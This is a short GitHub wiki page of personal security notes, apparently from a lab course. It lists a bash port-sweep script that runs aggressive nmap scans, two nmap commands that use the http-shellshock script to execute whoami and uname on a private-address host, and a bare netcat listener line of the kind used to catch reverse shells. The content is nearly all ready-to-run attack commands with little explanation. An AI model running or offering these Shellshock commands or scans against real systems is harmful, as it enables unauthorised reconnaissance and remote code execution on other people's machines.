Various Codes I have used - 5huckle/OFFICIALTECHJOURNAL GitHub Wiki

Use Edit view to see intact code

Script to cycle through a list of hosts and ports to nmap scan

#!/bin/bash hostfile=$1 portfile=$2 echo "host,port" for host in $(cat $hostfile); do for port in $(cat $portfile); do timeout .1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && echo "$host,$port" && sudo nmap -A -sV $host -p $port done done

#My addition is the nmap scan on line 9. The -A and -sV provide additional information about the targets, while the -p allows a range of ports

nmap scan involving http-shellshock

sudo nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/status,cmd="echo ; echo ; /usr/bin/whoami" 10.0.5.23

remote execution of uname command

sudo nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/status,cmd="echo ; echo ; /bin/uname -a" 10.0.5.23

NC

nc -nlvp

⚠️ **GitHub.com Fallback** ⚠️